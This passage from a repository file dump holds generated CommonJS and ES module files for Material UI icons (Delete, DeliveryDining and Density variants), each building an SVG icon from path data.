    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h6v8H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zm2-8h6v8H5zm5-6H6L5 5H2v2h12V5h-3z\"\n}, \"1\")], 'DeleteSweepTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteSweepTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h6v8H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h4v2h-4zm0-8h7v2h-7zm0 4h6v2h-6zM3 18c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V8H3zm2-8h6v8H5zm5-6H6L5 5H2v2h12V5h-3z\"\n}, \"1\")], 'DeleteSweepTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9h8v10H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.5 4-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8z\"\n}, \"1\")], 'DeleteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeleteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9h8v10H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.5 4-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zM8 9h8v10H8z\"\n}, \"1\")], 'DeleteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM4 14v-1c0-1.1.9-2 2-2h2v3zm3 3c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM4 14v-1c0-1.1.9-2 2-2h2v3zm3 3c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2.65L13.52 14H10v-4c0-.55-.45-1-1-1H6c-2.21 0-4 1.79-4 4v2c0 .55.45 1 1 1h1c0 1.66 1.34 3 3 3s3-1.34 3-3h3.52c.61 0 1.18-.28 1.56-.75l3.48-4.35c.29-.36.44-.8.44-1.25zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6h3c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1m13 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2.65L13.52 14H10v-4c0-.55-.45-1-1-1H6c-2.21 0-4 1.79-4 4v2c0 .55.45 1 1 1h1c0 1.66 1.34 3 3 3s3-1.34 3-3h3.52c.61 0 1.18-.28 1.56-.75l3.48-4.35c.29-.36.44-.8.44-1.25zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6h3c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1m13 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10.35V5h-5v2h3v2.65L13.52 14H10V9H2v7h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10.35V5h-5v2h3v2.65L13.52 14H10V9H2v7h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DeliveryDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 13v1h4v-3H6c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m1-3H4v-1c0-1.1.9-2 2-2h2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'DeliveryDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeliveryDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 13v1h4v-3H6c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m1-3H4v-1c0-1.1.9-2 2-2h2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'DeliveryDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLarge.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLarge');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLarge.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLarge');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLargeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLargeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m16 14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DensityLargeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m16 14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DensityLargeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLargeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLargeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLargeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityLargeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3z\"\n}), 'DensityLargeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMedium.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMedium');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMedium.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMedium');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMediumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMediumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m16 14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m0-8H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DensityMediumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m16 14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m0-8H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'DensityMediumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMediumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMediumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMediumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensityMediumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3z\"\n}), 'DensityMediumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmall');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmall');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m1 19h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-6h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-6h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'DensitySmallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallRounded.mjs",
